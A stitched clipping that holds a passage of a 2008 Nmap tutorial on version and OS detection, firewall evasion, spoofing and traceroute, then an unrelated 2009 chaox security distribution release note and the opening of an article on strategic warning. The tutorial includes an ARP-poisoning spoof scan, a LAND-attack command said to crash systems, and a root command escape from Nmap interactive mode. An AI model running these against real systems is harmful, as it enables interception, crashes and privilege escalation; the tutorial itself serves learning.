    6.477470 64.233.187.99 -> 192.168.1.100 TCP www > 39240 [ACK] Seq=1 Ack=19 Win=5720 Len=0
    
    # Google Web server responds with headers including service name and version
    6.483348 64.233.187.99 -> 192.168.1.100 HTTP HTTP/1.0 200 OK (text/html)
    6.483367 192.168.1.100 -> 64.233.187.99 TCP 39240 > www [ACK] Seq=19 Ack=1431 Win=8580 Len=0
    6.483623 64.233.187.99 -> 192.168.1.100 HTTP Continuation or non-HTTP traffic
    6.483634 192.168.1.100 -> 64.233.187.99 TCP 39240 > www [ACK] Seq=19 Ack=2861 Win=11440 Len=0
    6.483868 64.233.187.99 -> 192.168.1.100 HTTP Continuation or non-HTTP traffic
    6.483881 192.168.1.100 -> 64.233.187.99 TCP 39240 > www [ACK] Seq=19 Ack=4184 Win=14300 Len=0
    6.483870 64.233.187.99 -> 192.168.1.100 TCP www > 39240 [FIN, ACK] Seq=4184 Ack=19 Win=5720 Len=0
    6.489446 192.168.1.100 -> 64.233.187.99 TCP 39240 > www [RST, ACK] Seq=19 Ack=4185 Win=14300 Len=0
    
[/code]

As we can see from the above packet trace the initial NULL Probe didn't bring
any results so Nmap launched GetRequest probe emulating a standard web
request. Google returned its standard front page including HTTP Headers
revealing server name and version:

[code]

    HTTP/1.0 200 OK
    Cache-Control: private
    Content-Type: text/html; charset=ISO-8859-1 Set-Cookie: PREF=ID=XXXX:TM=XXXX:LM=XXXX:S=XXXX; 
    expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
    Server: GWS/2.1
    Date: Fri, XX XXX XXXX XX:XX:XX GMT
    Connection: Close
    
[/code]

This response was matches with the following regex entry in nmap's database:

[code]

    match http m|^HTTP/1\.[01] \d\d\d .*\r\nServer: GWS/([\d.]+)\r\n|s p/Google httpd/ v/$1/ i/GWS/ o/Linux/
    
[/code]

As a result, nmap produced the following output:

[code]

    Interesting ports on 64.233.187.99:
    PORT   STATE SERVICE VERSION
    80/tcp open  http    Google httpd 2.1 (GWS)
    Service Info: OS: Linux
    
[/code]

## Cheats and Fallbacks

To increase reliability, Nmap uses a system of cheats and fallbacks. In case
where a target system is slow to respond to nmap's probes, the actual response
may occur when nmap already gave up on Null Probe and is launching some other
probe instead. If response returned by the system does not match to anything
corresponding to the second probe, nmap cheats by still attempting to match
the response to anything in the NULL probe thus increasing chances of correct
detection.

In addition to Null Probe cheats, nmap allows definition of fallback Probes
that can be launched if any given probe fails.

# OS Detection

Nmaps's OS detection mechanism relies on different implementations of IP stack
across different operating systems. By sending a number of probes to the
target host and comparing responses to internal os signature database, Nmap is
capable of detecting operating system name and version, uptime, network
distance, IPID Sequence Generation, and other information.

Nmap uses two versions of signature databases. The older signature database is
less precise and contains less tests, but has a lot more signatures compared
to the more recent signature database which introduces better precision. Older
database is stored in _nmap-os-fingerprints_ while newer signatures are stored
in _nmap-os-db_ file. Below is a sample signature from _nmap-os-db_ :

[code]

    # XP Professional 5.1, Service Pack 2, Build 2600.
    Fingerprint Microsoft Windows XP SP2
    Class Microsoft | Windows | XP | general purpose
    SEQ(SP=F4-FE%GCD=<7%ISR=10B-115%TI=I%II=I%SS=S%TS=0)
    OPS(O1=M5B4NW0NNT00NNS%O2=M5B4NW0NNT00NNS%O3=M5B4NW0NNT00%O4=M5B4NW0NNT00NNS%O5=M5B4NW0NNT00NNS%O6=M5B4NNT00NNS)
    WIN(W1=4470%W2=41A0%W3=4100%W4=40E8%W5=40E8%W6=402E)
    ECN(R=Y%DF=Y%T=7F%TG=7F%W=4470%O=M5B4NW0NNS%CC=N%Q=)
    T1(R=Y%DF=Y%T=7F%TG=7F%S=O%A=S+%F=AS%RD=0%Q=)
    T2(R=Y%DF=N%T=7F%TG=7F%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)
    T3(R=Y%DF=Y%T=7F%TG=7F%W=402E%S=O%A=S+%F=AS%O=M5B4NW0NNT00NNS%RD=0%Q=)
    T4(R=Y%DF=N%T=7F%TG=7F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
    T5(R=Y%DF=N%T=7F%TG=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
    T6(R=Y%DF=N%T=7F%TG=7F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
    T7(R=Y%DF=N%T=7F%TG=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
    U1(DF=N%T=7F%TG=7F%TOS=0%IPL=B0%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)
    IE(DFI=S%T=7F%TG=7F%TOSI=Z%CD=Z%SI=S%DLI=S)
    
[/code]

And here is a much shorter version from _nmap-os-fingerprints_ :

[code]

    # Microsoft Windows XP Professional (English) w/ SP2 (Build 2600.xpsp_sp2_rtm.040803-2158 : Service Pack 2)
    # Widows XP Professional (English UK) SP2 - latest patches as of 20 Dec 2004 - build 2600.xpsp_sp2_rtm.040803-2158
    # Microsoft Windows XP Home Edition (French) SP2 build 2600.xpsp_sp2_rtm.040803-2158
    # Microsoft Windows XP Profesional (English) SP2 Ver 5.1 build 2600.xpsp_sp2_rtm.040803-2158 : Service Pack 2
    Fingerprint Microsoft Widows XP SP2
    Class Microsoft | Windows | NT/2K/XP | general purpose
    TSeq(Class=TR%gcd=<6%IPID=I%TS=U)
    T1(DF=Y%W=805C|88A4|FC94|FFFF%ACK=S++%Flags=AS%Ops=MNW)
    T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
    T3(Resp=Y%DF=Y%W=805C|88A4|FC94|FFFF%ACK=S++%Flags=AS%Ops=MNW)
    T4(DF=N%W=0%ACK=O%Flags=R%Ops=)
    T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
    T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
    T7(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
    PU(DF=N%TOS=0%IPLEN=B0%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
    
[/code]

The first keyword _Fingerprint_ defines system's name for which we will
specify characteristic ip stack signature. Next like keyword _Class_ defines
vendor, OS name, OS family, and type of device. Following these two lines are
the actual fingerprints collected from probes sent by Nmap. Specific signature
attributes can be left blank or defined as either a static value or as a set
of possible values. When defining different values common operators like OR
\(|\), Range \(-\), Greater than \(>\), and Less than \(<\).

Details of individual parameters are covered in section _Probes_ while
descriptions of tests for each for the paramters are covered in section
_Tests_ below.

## Probes

To start nmap's os detection engine use a command as follows:

[code]

    nmap -O 192.168.1.101 -p22 -n -PN
    
[/code]

### Sequence generation

Six packets are sent 110ms apart to an open port on the target host. Below is
the packet trace of traffic generated:

[code]

    # Packet #1: window scale (10), NOP, MSS (1460), timestamp (TSval: 0xFFFFFF; TSecr: 0), SACK permitted. The window field is 1
    0.221494 192.168.1.100 -> 192.168.1.101 TCP 45079 > ssh [SYN] Seq=0 Len=0 WS=10 MSS=1460 TSV=4294967295 TSER=0
    0.221611 192.168.1.101 -> 192.168.1.100 TCP ssh > 45079 [SYN, ACK] Seq=504255574 Ack=1 Win=65535 Len=0 MSS=1460 WS=1 TSV=533947     TSER=4294967295
    0.221629 192.168.1.100 -> 192.168.1.101 TCP 45079 > ssh [RST] Seq=1 Len=0
    
    # Packet #2: MSS (1400), window scale (0), SACK permitted, timestamp (TSval: 0xFFFFFF; TSecr: 0). The window field is 63.
    0.325501 192.168.1.100 -> 192.168.1.101 TCP 45080 > ssh [SYN] Seq=0 Len=0 MSS=1400 WS=0 TSV=4294967295 TSER=0
    0.325642 192.168.1.101 -> 192.168.1.100 TCP ssh > 45080 [SYN, ACK] Seq=1875345108 Ack=1 Win=65535 Len=0 MSS=1460 WS=1 TSV=534051     TSER=4294967295
    0.325661 192.168.1.100 -> 192.168.1.101 TCP 45080 > ssh [RST] Seq=1 Len=0
    
    # Packet #3: Timestamp (TSval: 0xFFFFFF; TSecr: 0), NOP, NOP, window scale (5), NOP, MSS (640). The window field is 4.
    0.429498 192.168.1.100 -> 192.168.1.101 TCP 45081 > ssh [SYN] Seq=0 Len=0 TSV=4294967295 TSER=0 WS=5 MSS=640
    0.429602 192.168.1.101 -> 192.168.1.100 TCP ssh > 45081 [SYN, ACK] Seq=3217721325 Ack=1 Win=65535 Len=0 MSS=1460 WS=1 TSV=534155     TSER=4294967295
    0.429619 192.168.1.100 -> 192.168.1.101 TCP 45081 > ssh [RST] Seq=1 Len=0
    
    # Packet #4: SACK permitted, Timestamp (TSval: 0xFFFFFF; TSecr: 0), window scale (10). The window field is 4.
    0.533498 192.168.1.100 -> 192.168.1.101 TCP 45082 > ssh [SYN] Seq=0 Len=0 TSV=4294967295 TSER=0 WS=10
    0.533614 192.168.1.101 -> 192.168.1.100 TCP ssh > 45082 [SYN, ACK] Seq=1209695118 Ack=1 Win=65535 Len=0 MSS=1460 WS=1 TSV=534259     TSER=4294967295
    0.533633 192.168.1.100 -> 192.168.1.101 TCP 45082 > ssh [RST] Seq=1 Len=0
    
    # Packet #5: MSS (536), SACK permitted, Timestamp (TSval: 0xFFFFFF; TSecr: 0), window scale (10). The window field is 16.
    0.637494 192.168.1.100 -> 192.168.1.101 TCP 45083 > ssh [SYN] Seq=0 Len=0 MSS=536 TSV=4294967295 TSER=0 WS=10
    0.637616 192.168.1.101 -> 192.168.1.100 TCP ssh > 45083 [SYN, ACK] Seq=3691572495 Ack=1 Win=65535 Len=0 MSS=1460 WS=1 TSV=534363     TSER=4294967295
    0.637636 192.168.1.100 -> 192.168.1.101 TCP 45083 > ssh [RST] Seq=1 Len=0
    
    # Packet #6: MSS (265), SACK permitted, Timestamp (TSval: 0xFFFFFF; TSecr: 0). The window field is 512.
    0.741499 192.168.1.100 -> 192.168.1.101 TCP 45084 > ssh [SYN] Seq=0 Len=0 MSS=265 TSV=4294967295 TSER=0
    0.741602 192.168.1.101 -> 192.168.1.100 TCP ssh > 45084 [SYN, ACK] Seq=3601587824 Ack=1 Win=65535 Len=0 MSS=1460 TSV=534467 TSER=4294967295
    0.741621 192.168.1.100 -> 192.168.1.101 TCP 45084 > ssh [RST] Seq=1 Len=0
    
[/code]

The following signature parameters will be gathered by this probe and
corresponding tests will be performed: \* SEQ - sequence analysis \(GCD, SP,
ISR, IPID, TS\) \* OPS - TCP options received \(01-06\) \* WIN - window sizes
received \(W1-W6\) \* T1 - collection of gathered test values \(R, DF, T, TG,
S, A, F, RD, Q\)

### ICMP echo

Two ICMP echo packets are sent.

[code]

    # Packet #1: IP DF set, TOS code 9, Seq=295, random IP ID and ICMP id
    # 120 byte payload of random characters
    0.775051 192.168.1.100 -> 192.168.1.101 ICMP Echo (ping) request
    0.775183 192.168.1.101 -> 192.168.1.100 ICMP Echo (ping) reply
    
    # Packet #2: IP DF set, TOS code 0, Seq=296, IP ID+1, ICMP id+1
    # 150 byte payload of random characters
    0.809496 192.168.1.100 -> 192.168.1.101 ICMP Echo (ping) request
    0.809629 192.168.1.101 -> 192.168.1.100 ICMP Echo (ping) reply
    
[/code]

The following signature parameter will be gathered by this probe and
corresponding tests will be performed: \* IE - \(R, DFI, T, TG, TOSI, CD, SI,
DLI\)

A single UDP packet is sent to a closed port with 'C' character repeated 300
times in the data field.

[code]

    0.845489 192.168.1.100 -> 192.168.1.101 UDP Source port: 44998  Destination port: 41293
    0.845631 192.168.1.101 -> 192.168.1.100 ICMP Destination unreachable (Port unreachable)
    
[/code]

The following signature parameter will be gathered by this probe and
corresponding tests will be performed: \* U1 - \(R, DF, T, TG, TOS, IPL, UN,
RIPL, RID, RIPCK, RUCK, RUL, RUD\)

### TCP explicit congestion notification

A single SYN packet is sent with ECN CWR and ECE congestion control flags set.

[code]

    0.873497 192.168.1.100 -> 192.168.1.101 TCP 45091 > ssh [SYN, ECN, CWR] Seq=0 Len=0 WS=10 MSS=1460
    0.873601 192.168.1.101 -> 192.168.1.100 TCP ssh > 45091 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=1
    0.873621 192.168.1.100 -> 192.168.1.101 TCP 45091 > ssh [RST] Seq=1 Len=0
    
[/code]

The following signature parameter will be gathered by this probe and
corresponding tests will be performed: \* ECN - \(R, DF, T, TG, W, O, CC, Q\)

### Six TCP Probes

Six TCP packets are sent with varying flags set.

[code]

    # T2 - TCP NULL Win=128
    0.909497 192.168.1.100 -> 192.168.1.101 TCP 45093 > ssh [] Seq=0 Len=0 WS=10 MSS=265 TSV=4294967295 TSER=0
    
    # T3 - SYN FIN URG PSH Win=256
    0.937498 192.168.1.100 -> 192.168.1.101 TCP 45094 > ssh [FIN, SYN, PSH, URG] Seq=0 Urg=0 Len=0 WS=10 MSS=265 TSV=4294967295 TSER=0
    0.937597 192.168.1.101 -> 192.168.1.100 TCP ssh > 45094 [SYN, ACK] Seq=2009364148 Ack=1 Win=65535 Len=0 MSS=1460 WS=1 TSV=534663     TSER=4294967295
    0.937615 192.168.1.100 -> 192.168.1.101 TCP 45094 > ssh [RST] Seq=1 Len=0
    
    # T4 - ACK Win=1024
    0.965490 192.168.1.100 -> 192.168.1.101 TCP 45095 > ssh [ACK] Seq=0 Ack=0 Win=1024 Len=0 WS=10 MSS=265 TSV=4294967295 TSER=0
    0.965577 192.168.1.101 -> 192.168.1.100 TCP ssh > 45095 [RST] Seq=0 Len=0
    
    # T5 - SYN Win=31337
    0.993496 192.168.1.100 -> 192.168.1.101 TCP 45096 > 40394 [SYN] Seq=0 Len=0 WS=10 MSS=265 TSV=4294967295 TSER=0
    0.993581 192.168.1.101 -> 192.168.1.100 TCP 40394 > 45096 [RST, ACK] Seq=3545403769 Ack=1 Win=0 Len=0
    
    # T6 - ACK Win=32768
    1.021489 192.168.1.100 -> 192.168.1.101 TCP 45097 > 40394 [ACK] Seq=0 Ack=0 Win=32768 Len=0 WS=10 MSS=265 TSV=4294967295 TSER=0
    1.021615 192.168.1.101 -> 192.168.1.100 TCP 40394 > 45097 [RST] Seq=0 Len=0
    
    # T7 - FIN PSH URG Win=65535
    1.049481 192.168.1.100 -> 192.168.1.101 TCP 45098 > 40394 [FIN, PSH, URG] Seq=0 Urg=0 Len=0 WS=15 MSS=265 TSV=4294967295 TSER=0
    1.049563 192.168.1.101 -> 192.168.1.100 TCP 40394 > 45098 [RST, ACK] Seq=3545403769 Ack=0 Win=0 Len=0
    
[/code]

The following signature parameter will be gathered by this probe and
corresponding tests will be performed: \* T2-T7 - \(R, DF, T, TG, W, O, CC,
Q\)

See Nmap OS Detection page page for a complete listing and explanation of all
tests.

# Firewall/IDS Evasion and Spoofing

## Fragment Packets

For networks which do no queue IP fragments, nmap can fragment packets it
sends in order to evade firewalls. Here is a sample command line to use
fragmented packets:

[code]

    nmap -f 192.168.1.1 -p443 -PN -n
    
[/code]

Traffic generated from the above command would be:

[code]

    0.052163 192.168.1.100 -> 192.168.1.1  IP Fragmented IP protocol (proto=TCP 0x06, off=0)
    0.052168 192.168.1.100 -> 192.168.1.1  IP Fragmented IP protocol (proto=TCP 0x06, off=8)
    0.052173 192.168.1.100 -> 192.168.1.1  TCP 35955 > https [SYN] Seq=0 Len=0 MSS=1460
    0.052811  192.168.1.1 -> 192.168.1.100 TCP https > 35955 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
    0.052833 192.168.1.100 -> 192.168.1.1  TCP 35955 > https [RST] Seq=1 Len=0
    
[/code]

You can specify your own fragment size:

[code]

    nmap --mtu 16 192.168.1.1 -p443 -PN -n --data-length 80
    
[/code]

This will produce the following traffic:

[code]

    0.082687 192.168.1.100 -> 192.168.1.1  IP Fragmented IP protocol (proto=TCP 0x06, off=0)
    0.082916 192.168.1.100 -> 192.168.1.1  IP Fragmented IP protocol (proto=TCP 0x06, off=16)
    0.083007 192.168.1.100 -> 192.168.1.1  IP Fragmented IP protocol (proto=TCP 0x06, off=32)
    0.083092 192.168.1.100 -> 192.168.1.1  IP Fragmented IP protocol (proto=TCP 0x06, off=48)
    0.083177 192.168.1.100 -> 192.168.1.1  IP Fragmented IP protocol (proto=TCP 0x06, off=64)
    0.083263 192.168.1.100 -> 192.168.1.1  IP Fragmented IP protocol (proto=TCP 0x06, off=80)
    0.083364 192.168.1.100 -> 192.168.1.1  SSL Continuation Data
    0.083873  192.168.1.1 -> 192.168.1.100 TCP https > 60414 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
    0.083892 192.168.1.100 -> 192.168.1.1  TCP 60414 > https [RST] Seq=1 Len=0
    
[/code]

Fragmented packets are not effective against packet filters and queuing
firewalls.

## Decoys

Nmap is capable of sending multiple port scan requests from spoofed hosts in
parallel with the real scanning host. When spoofing hosts it is recommended to
make sure they are up in order to avoid SYN flooding the target. Also it is
recommended to avoid the use of nameserver so as not to reveal scanner's real
ip address. Here is a command that uses 3 decoys to peform the scan:

[code]

    nmap -D 64.233.167.99,207.46.197.32,ME -sS 192.168.1.1 -p443 -n -PN
    
[/code]

This will produce the following trace:

[code]

    # decoys
    0.063884 64.233.167.99 -> 192.168.1.1  TCP 36588 > https [SYN] Seq=0 Len=0 MSS=1460
    0.064575 207.46.197.32 -> 192.168.1.1  TCP 36588 > https [SYN] Seq=0 Len=0 MSS=1460
    # real syn scan
    0.064698 192.168.1.100 -> 192.168.1.1  TCP 36588 > https [SYN] Seq=0 Len=0 MSS=1460
    0.065288  192.168.1.1 -> 192.168.1.100 TCP https > 36588 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
    0.065317 192.168.1.100 -> 192.168.1.1  TCP 36588 > https [RST] Seq=1 Len=0
    
[/code]

## Spoof source address

Source ip address can be completely spoofed, lets ask google to scan microsoft

[code]

    nmap -sS -p80 207.46.197.32 -S 64.233.167.99 -e eth0 -PN -n
    
[/code]

This will simply generate the SYN request, but we will never hear the response
since it will be routed to google.com:

0.000000 64.233.167.99 -> 207.46.197.32 TCP 54933 > www \[SYN\] Seq=0 Len=0
MSS=1460

Of course spoofing source address becomes even more useful when it is possible
to intercept traffic coming and going to the spoofed host. For example, in
this scan I will use Ettercap to arp poison 192.168.1.101 so that all traffic
is redirected to my host 192.168.1.100. Although the initial SYN will be
forged on behalf of 192.168.1.101, I will still be able to learn the response
from the target host by intercepting all traffic:

[code]

    # First arp poison 192.168.1.101
    ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.101/
    # Spoof source address and scan the target host
    nmap -sS -p80 207.46.197.32 -S 192.168.1.101 -e eth0 -PN -n
    
[/code]

This will generate the following traffic:

[code]

    # Spoof the request
    0.000000 192.168.1.101 -> 207.46.197.32 TCP 38966 > www [SYN] Seq=0 Len=0 MSS=1460
    # Intercept the response
    0.053994 207.46.197.32 -> 192.168.1.101 TCP www > 38966 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460
    # Forward it to spoofed host
    0.054085 207.46.197.32 -> 192.168.1.101 TCP www > 38966 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460
    # Nmap sends RST back to target host
    0.054200 192.168.1.101 -> 207.46.197.32 TCP 38966 > www [RST] Seq=1 Len=0
    # Spoofed host sends RST for an unexpected SYN/ACK
    0.054236 192.168.1.101 -> 207.46.197.32 TCP 38966 > www [RST] Seq=1 Len=0
    
[/code]

## Spoof source port number

Spoofing scanner originating port number can be used to trick firewalls that
only allow traffic originating from specific ports such as 53\(dns\):

[code]

    nmap -sS -p80 207.46.197.32 -g53 -PN -n
    
[/code]

This scan will produce the following trace:

[code]

    # Sending SYN scan originating from port 53 
    0.000000 192.168.1.100 -> 207.46.197.32 TCP 53 > www [SYN] Seq=0 Len=0 MSS=1460
    0.191068 207.46.197.32 -> 192.168.1.100 TCP www > 53 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460
    0.191108 192.168.1.100 -> 207.46.197.32 TCP 53 > www [RST] Seq=1 Len=0
    
[/code]

## Append random data to sent packets

In order to make nmap scans slightly less apparent it is possible to attach
random data to all requests:

[code]

    nmap -sS -p80 207.46.197.32 --data-length 100 -PN -n
    
[/code]

Packet trace for the above scan:

[code]

    # SYN packet with 100 byte random data appended to it
    0.000000 192.168.1.100 -> 207.46.197.32 HTTP Continuation or non-HTTP traffic
    0000  00 16 b6 28 55 08 00 0c  6e 6b cc 73 08 00 45 00   ...(U... nk.s..E.
    0010  00 90 f5 59 00 00 31 06  3d b3 c0 a8 01 64 cf 2e   ...Y..1. =....d..
    0020  c5 20 e5 64 00 50 fd 24  7f 62 00 00 00 00 60 02   . .d.P.$ .b....`.
    0030  08 00 c8 b4 00 00 02 04  05 b4 f1 fc 9b 76 3e b8   ........ .....v>.
    0040  56 dd 65 39 8b 7c 4d c4  13 2c c9 c6 95 a2 e8 01   V.e9.|M. .,......
    0050  97 50 d6 7b bb 26 2e 0e  4a e1 2a f5 e0 40 76 b0   .P.{.&.. J.*..@v.
    0060  7e c2 92 ad 3b 4f c7 a3  2d e5 3e d5 e0 30 0e c7   ~...;O.. -.>..0..
    0070  27 75 c8 f1 71 e0 70 e2  bc b5 c2 a5 b1 c7 5a 50   'u..q.p. ......ZP
    0080  c8 87 3d e5 9e 16 28 05  ea b0 6a 0c b8 12 9f 1d   ..=...(. ..j.....
    0090  10 2c a5 5a 87 e9 67 3c  37 91 bf 22 4c 08         .,.Z..g< 7.."L.
    
    0.037300 207.46.197.32 -> 192.168.1.100 TCP www > 62395 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460
    0.037330 192.168.1.100 -> 207.46.197.32 TCP 62395 > www [RST] Seq=1 Len=0
    
[/code]

## IP options

Users may also set different ip options to further obfuscate the scan,
determine a path packets take to the target or even attempt to bypass
firewalls by selecting different route.

The following IP options are supported by Nmap in a form of shortcuts: \* R -
record route \* T - record internet timestamps \* U - record timestamps and ip
addresses \* L ... - loose source routing \* S ... - strict source routing

Below is a command line to execute Ping Scan with Timestamp IP option enabled:
nmap -sP --ip-options "T" 4.2.2.1

The above shortcuts can be avoided completely by specifying custom IP options
in a hexadecimal form: nmap -sP --ip-options "\x44\x24\x05\x00\x00\*32"
4.2.2.1

## Set IP TTL

Nmpa can set IP's TTL field: nmap -sP 4.2.2.1 --ttl 30

## Spoof MAC address

When performing a scan on a local ethernet network \(--send-eth enabled\),
Nmap can optionally spoof scanning interface MAC address: nmap -sP 10.0.0.1
--spoof-mac 00:11:22:33:44:55

## Send bogus TCP/UDP checksums

As a measure to detect firewalls, IDSs, or other devices that do not perform
checksum analysis, nmap can send malformed TCP/UDP checksums to illicit
response from such devices with an additional _\--badsum_ option.

# Traceroute

Latest releases of Nmap \(4.20Alpha4\) integrate a TCP based traceroute
mechanism which contrasts with the classic approach of ICMP method commonly
blocked on the internet. Below is a sample command to start traceroute to
google.com on port 80:

[code]

    nmap -sS -p80 -n 72.14.207.99 --traceroute
    
[/code]

This produces the following packet trace:

[code]

    # First nmap performs standard target host discovery with icmp echo request 
    0.000000    192.168.1.71 -> 4.2.2.1 ICMP     Echo (ping) request TTL=47
    0.000072    192.168.1.71 -> 4.2.2.1 TCP      61120 > www [ACK] Seq=0 Ack=0 Win=1024 Len=0 TTL=48
    0.022076    4.2.2.1 -> 192.168.1.71 ICMP     Echo (ping) reply TTL=247
    
    # Now we perform a standard SYN scan on port 80 and get RST back (port closed)
    0.428388    192.168.1.71 -> 4.2.2.1 TCP      61099 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=57
    0.448015    4.2.2.1 -> 192.168.1.71 TCP      www > 61099 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0 TTL=57
    
    
    # Traceroute part of the scan sends initial prove with TTL set to 255, this is used
    # to estimate number of hops to the target
    0.731381    192.168.1.71 -> 4.2.2.1 TCP      35047 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=255
    
    
    # Target host responded with TTL of 57. A mechanism similar to OS Detection estimates that host's MAX_TTL is 64
    # so we can estimate the number of hops by substracting received TTL (57) from MAX_TTL (64) which gives us
    # 7 hops from the target.
    0.749600    4.2.2.1 -> 192.168.1.71 TCP      www > 35047 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0 TTL=57
    
    # Now we send more probes with an estimate TTL + 1 as a starting point and increase it until
    # we get a response
    0.749734    192.168.1.71 -> 4.2.2.1 TCP      35048 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=8
    0.749786    192.168.1.71 -> 4.2.2.1 TCP      35049 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=9
    
    # hop 8 
    0.767319    4.2.2.1 -> 192.168.1.71 TCP      www > 35048 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0 TTL=57
    
    # Now that we got the upper bound we can decrement TTL to find all hosts in between
    0.767350    192.168.1.71 -> 4.2.2.1 TCP      35050 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=7
    0.767387    192.168.1.71 -> 4.2.2.1 TCP      35051 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=6
    
    # hop 9 which is discarded since we already got the upper bound
    0.775198    4.2.2.1 -> 192.168.1.71 TCP      www > 35049 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0 TTL=57
    
    # Continue sending probes with decreasing TTLs
    0.775228    192.168.1.71 -> 4.2.2.1 TCP      35052 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=5
    
    # hop 7
    0.785094    4.68.101.164 -> 192.168.1.71 ICMP     Time-to-live exceeded (Time to live exceeded in transit) TTL=247
    0.785189    192.168.1.71 -> 4.2.2.1 TCP      35053 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=4
    
    # hop 6
    0.787522    4.68.110.197 -> 192.168.1.71 ICMP     Time-to-live exceeded (Time to live exceeded in transit) TTL=247
    0.787565    192.168.1.71 -> 4.2.2.1 TCP      35054 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=3
    
    # hop 5
    0.793147    151.164.191.250 -> 192.168.1.71 ICMP     Time-to-live exceeded (Time to live exceeded in transit) TTL=248
    0.793184    192.168.1.71 -> 4.2.2.1 TCP      35055 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=2
    
    # hop 4
    0.802876    70.239.122.33 -> 192.168.1.71 ICMP     Time-to-live exceeded (Time to live exceeded in transit) TTL=252
    0.803028    192.168.1.71 -> 4.2.2.1 TCP      35056 > www [SYN] Seq=0 Len=0 MSS=1460 TTL=1
    
    # hop 3
    0.805313    65.43.19.227 -> 192.168.1.71 ICMP     Time-to-live exceeded (Time to live exceeded in transit) TTL=253
    
    # hop 1
    0.807392    192.168.1.254 -> 192.168.1.71 ICMP     Time-to-live exceeded (Time to live exceeded in transit) TTL=255
    
    # hop 2
    0.809030    68.254.175.254 -> 192.168.1.71 ICMP     Time-to-live exceeded (Time to live exceeded in transit) TTL=63
    
[/code]

With the above parameters nmap produces the following output:

[code]

    Interesting ports on 4.2.2.1:
    PORT   STATE  SERVICE
    80/tcp closed http
    
    TRACEROUTE (using port 80/tcp)
    HOP RTT    ADDRESS
    1   1.95   192.168.1.254
    2   15.86  68.254.175.254
    3   15.78  65.43.19.227
    4   15.75  70.239.122.33
    5   21.59  151.164.191.250
    6   185.06 4.68.110.197
    7   19.25  4.68.101.132
    8   17.72  4.2.2.1
    
    Nmap finished: 1 IP address (1 host up) scanned in 1.696 seconds
    
[/code]

# Misc Features

## Nmap Scripting Engine

## Flooding

With the power of nmap's firewall/ids evasion flags it is possible to launch
several popular attacks:

This LAND Attack will crash vulnerable systems:

[code]

    nmap -sS 192.168.1.123 -S 192.168.1.123 -p139 -g139 -e eth0
    
[/code]

## Nmap Interactive

Nmap can be executed in interactive mode: nmap --interactive

From there a user can perform the following actions: \* n - execute an nmap
scan with provided arguments \* f \[--spoof \] \[--nmap-path \] - launches
nmap in the background, uses spoofed fakeargs \(vi textfile\) to hide what you
are doing in the process list. You may also execute nmap from a defined nmap-
path. \* x - exit

## Local Privilege Escalation

If nmap is started in interactive mode with root privileges, arbitrary
commands may be executed by when using the following syntax:

[code]

    nmap> ! id
    uid=0(root) gid=0(root) groups=0(root)
    
[/code]

# External Links

_Published on December 15th, 2008 by iphelix_

# chaox 2009.7 is here\! « chaox

**Created:**| _7/6/2009 7:41:15 PM_  
---|---  
**Updated:**| _7/6/2009 7:41:28 PM_  
**Author:**| __  
**Tags:**| _bookmark virtusalisation_  
  

## chaox 2009.7 is here\!

So finally we got our stuff together to give you the best chaox release so
far. This release comes with a huge list of changes, here are the \(imho\)
most interesting ones. We have packaged kernel 2.6.30 and patched it for
injection. We have support for proprietary nvidia drivers out-of-the-box. We
added airoscript to help you getting those pentests finished faster and the
slick amap port scanner from THC, which nicely complements nmap. Some tools
for securing and breaking ARP are now included: arpwatch and arp-tools
respectively. fast-track has been included for some instant exploit goodness.
Of course this release includes the freshly released kismet newcore version
2009-06-R1. We also ship openvas, the great opensource fork of nessus. For
those of you looking to recover stuff, we added fsarchiver, magicrescue and
partimage. On the driver side of things we added some ieee80211 based drivers
for those of you that prefer them to the in kernel drivers: rt2570-k2wrlz,
rt73-k2wrlz and rtl8187-ng. To aid with switching drivers the change-drivers
script was added, it may still have some rough edges, but has worked fine for
us so far.

As usual we’d really appreciate some feedback on the release and suggestions
for future ones.

# From Cassandra's Curse to the Pythia's Success - The Red Team Analysis
Society

**Created:**| _5/28/2021 10:33:45 AM_  
---|---  
**Updated:**| _5/28/2021 10:33:45 AM_  
**Author:**| __  
**Tags:**| __  
  

  

  * __
  * __
  * __
  * __
  * __
  * __

\(Art design:  Jean-Dominique Lavoix-Carli\)

When delivering warnings, are we doomed to never be believed, sharing the same
fate as Cassandra, the tragic character of Greek mythology? Or, on the
contrary, can we hope to become as successful as the Pythia, the oracle
priestess of Apollo at Delphi?

Related Articles

  * From Cassandra’s Curse to the Pythia’s Success
  * Strategic Foresight, Warning and Intelligence Products and Documents
